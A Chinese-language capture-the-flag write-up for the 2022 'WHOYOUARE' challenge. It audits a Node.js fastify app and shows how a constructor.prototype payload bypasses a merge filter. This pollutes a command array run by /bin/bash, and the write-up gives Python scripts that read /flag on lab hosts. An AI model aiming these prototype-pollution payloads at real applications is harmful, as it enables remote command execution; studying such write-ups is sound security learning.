学习学习
强网拟态2022
WHOYOUARE
这道题目的环境是nodejs
,猜考点是原型链污染,其框架根据附件名称可知为fastify
看题目名字和刚打开题目的提示,猜测污染漏洞点应该在user
处,应该在某个检查user
信息的地方可以进行原型链污染
代码审计
先审一下app.js
app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| const userRoutes = require('./routes/user') const fastify = require('fastify')({ logger: { level: 'error' } }) const port = process.env.PORT || 3000 const host = process.env.HOST || "0.0.0.0" const respWrapper = { $id: 'respWrapper', type: 'object', response : { success: { type: 'object', properties: { status : { type: 'number' }, info: { type: 'string' }, } } } }
fastify.addSchema(respWrapper) fastify.register(userRoutes)
fastify.listen({ host, port }, (err, address) => { if (err) { fastify.log.error(err) process.exit(1) } fastify.log.info(`server listening on ${address}`) })
|
发现网站还有个路由/user
1
| const userRoutes = require('./routes/user')
|
访问
显示
1
| {"message":"Route GET:/user not found","error":"Not Found","statusCode":404}
|
看样子是无法用GET方式访问/user
路由
于是审计一下user.js
user.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| const merge = require('../utils/merge') const bin = "/bin/bash" const ChildProcess = require('child_process');
function checkUser(command){ if (Array.isArray(command) === false || command.length > 2) { return false; } for (let i = 0; i < command.length; i++) { let cmd = command[i]; if (typeof cmd !== 'string' || cmd.length > 4 || RegExp(/^[^a-zA-Z0-9-]+$/).test(command[i])) { return false; } } return true; }
async function routes (fastify, options) { fastify.route( { method: 'POST', url: '/user', schema: { querystring: { user: { type: 'string' }, }, additionalProperties: false, response: { 200: { $ref: 'respWrapper#/response/success' } } }, preHandler: function (request, reply, done) { request.user = {username : 'guest', command: ["-c", "id"]} let user = JSON.parse(request.body.user) if (checkUser(user.command) !== true) { user.command = ["-c", "id"] } try { merge(request.user, user) }catch (e){ reply.code(400).send({status: 1, info: "Something error"}) return ; } done() }, handler : function (request, reply) { ChildProcess.execFile(bin, request.user.command, (error, stdout, stderr) => { if (error) { reply.code(400).send({status: 1, info: error}) } reply.code(200).send({ status : 0 , info : `User of ${request.user.username} : ${stdout}`}); }); } }) fastify.route({ method: 'GET', url: '/', response: { $ref: 'respWrapper#/response/success' }, handler: function (request, reply) { reply.send({ status: 0, info: 'go user' }) } }) }
module.exports = routes
|
原型链污染重点看merge
和JSON.parse
,发现代码,
1
| let user = JSON.parse(request.body.user)
|
1 2 3 4 5 6
| try { merge(request.user, user) }catch (e){ reply.code(400).send({status: 1, info: "Something error"}) return ; }
|
其中request.user
的值为,
1
| request.user = {username : 'guest', command: ["-c", "id"]}
|
而user
的值为,
1
| let user = JSON.parse(request.body.user)
|
request.user
是初始化的user
,所以无法直接污染,但是user
是从请求体中得到的数据,并且通过Json格式化,其中是可以加一些实体(如__proto__
,constructor.prototype
)进去,是可以被我们污染的,所以,我们可以先污染user
,然后通过merge
合并,将user
中的值传入request.user
中
然后我们可以看看merge
的内容,
merge.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| const whileTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
const merge = (target, source) => { for (const key in source) { if(!whileTypes.includes(typeof source[key]) && !whileTypes.includes(typeof target[key])){ if(key !== '__proto__'){ merge(target[key], source[key]); } }else{ target[key] = source[key]; } } }
module.exports = merge
|
发现merge
对内容进行了过滤和检查,
- 如果
request.user
或user
中,有包含whileTypes
中的内容,就不会执行merge
- 如果键值中有
__proto__
,也不会执行merge
过滤关键字还好,只是过滤了__proto__
,需要一个相同功能的来帮助绕过,比如constructor.prototype
但是在merge
前面还要个checkUser
,将command
也进行了限制
1 2 3 4 5 6 7 8 9 10 11 12
| function checkUser(command){ if (Array.isArray(command) === false || command.length > 2) { return false; } for (let i = 0; i < command.length; i++) { let cmd = command[i]; if (typeof cmd !== 'string' || cmd.length > 4 || RegExp(/^[^a-zA-Z0-9-]+$/).test(command[i])) { return false; } } return true; }
|
由条件语句可知,要求command
必须是数组且数组中元素个数要小于等于2
,
且要求command数组中的元素必须为字符串且长度要小于等于4,并以字母或者数字或者-开头
如果不满足checkUser
,就会执行:
1
| user.command = ["-c", "id"]
|
将command
直接赋值为执行id
命令,而不能执行其他命令。
==>再由初始化request.user
,所以最后构造request.body.user
的结构应该为
1
| {"user":"{"username":"guest","command":["-c","id"]}"}
|
只是我们想要执行的command
是cat /flag
,但是很明显我们长度限制过不了,所以如果想要执行命令是不能把值写到command
中,不然肯定会被拦截
我们看看user.js
中,是如何执行command
的,
1 2 3 4 5 6 7 8
| handler : function (request, reply) { ChildProcess.execFile(bin, request.user.command, (error, stdout, stderr) => { if (error) { reply.code(400).send({status: 1, info: error}) } reply.code(200).send({ status : 0 , info : `User of ${request.user.username} : ${stdout}`}); }); }
|
发现它执行是执行request.user.command
的内容,那便又回到污染user,然后再通过merge
污染request.user
,所以这里尝试污染request.user
的实体中的command
参数
但是,request.user
在执行merge
之前就已经有command
值["-c","id"]
,所以作为一个已经存在的参数,就算污染了实体,它查找调用时还是会以它自己已有的值为先,所以如下图
我们仔细执行命令的代码,发现它是将 request.user.command
这个数组直接接到 /bin/bash
后面
构造成
这种命令。
但是突然想到一点,既然无法直接污染实体修改已有参数,那么如果在command数组中再加一个键值2
,并且也是命令,能否也成功执行呢?
我们本地可以先测试一下,
1 2 3 4
| import requests url="http://127.0.0.1:3000/user" user='''{"username":"ttoc","constructor":{"prototype":{"2":"whoami"}},"command":["-c","id"]}''' print(requests.post(url=url, json={"user": user}).text)
|
只看调试结果,command数组的变化
开始都是一样的,再加上这里的command数组符合checkUser的要求,通过
当运行到key为prototype
时,
可以看到target
,也就是request.user
,也获得了一个属性2且值为whoami
的,说明污染成功
继续看对command数组的影响,虽然两者command
数组一样,但是后面就会出现区别
发现在不断的merge
合并时,user
和request.user
中两者的数组中的key
也在比较,但是由于两者的command
数组中是字符串,属于whileTypes
,所以会直接将target[key] = source[key];
,也就是将user
中值赋值给request.user
,也就是修改command
值
1 2 3 4 5 6 7 8
| const whileTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined']; if(!whileTypes.includes(typeof source[key]) && !whileTypes.includes(typeof target[key])){ if(key !== '__proto__'){ merge(target[key], source[key]); } }else{ target[key] = source[key]; }
|
由于key=0
和key=1
两者都一样都是-c
,id
,所以赋值没有变化
当key=2
时,因为之前执行prototype
时,使得request.user
也有属性2这个值,
虽然这个属性2是在Object中,但是是在Array之上,所以即便command数组中没有key=2,但是仍然就会从原型链中寻找,所以当再次运行到target[key] = source[key];
时,属性2就被当作command的属性2,赋值进去了
于是最后执行命令时就是,
由这个现象便可以构造出payload
,可以看到便得到flag{test}
1 2 3 4 5
| import requests url="http://172.28.31.86:3000/user" user='''{"username":"ttoc","constructor":{"prototype":{"2":"cat /flag"}},"command":["-c","-i"]}''' print({"user":user}) print(requests.post(url=url, json={"user": user}).text)
|
当然这只是一个,同理,既然限制command数组中元素个数要小于等于2,所以一个也是可以的
1 2 3 4 5 6
| # http: import requests url="http://172.28.31.86:3000/user" user='''{"username":"ttoc","constructor":{"prototype":{"1":"cat /flag"}},"command":["-c"]}''' print({"user":user}) print(requests.post(url=url, json={"user": user}).text)
|
结果同上,只是不能让command为空就行,不然会报错
直接浏览器console
,展示也可以理解原理
这里的属性2实际是在command实体中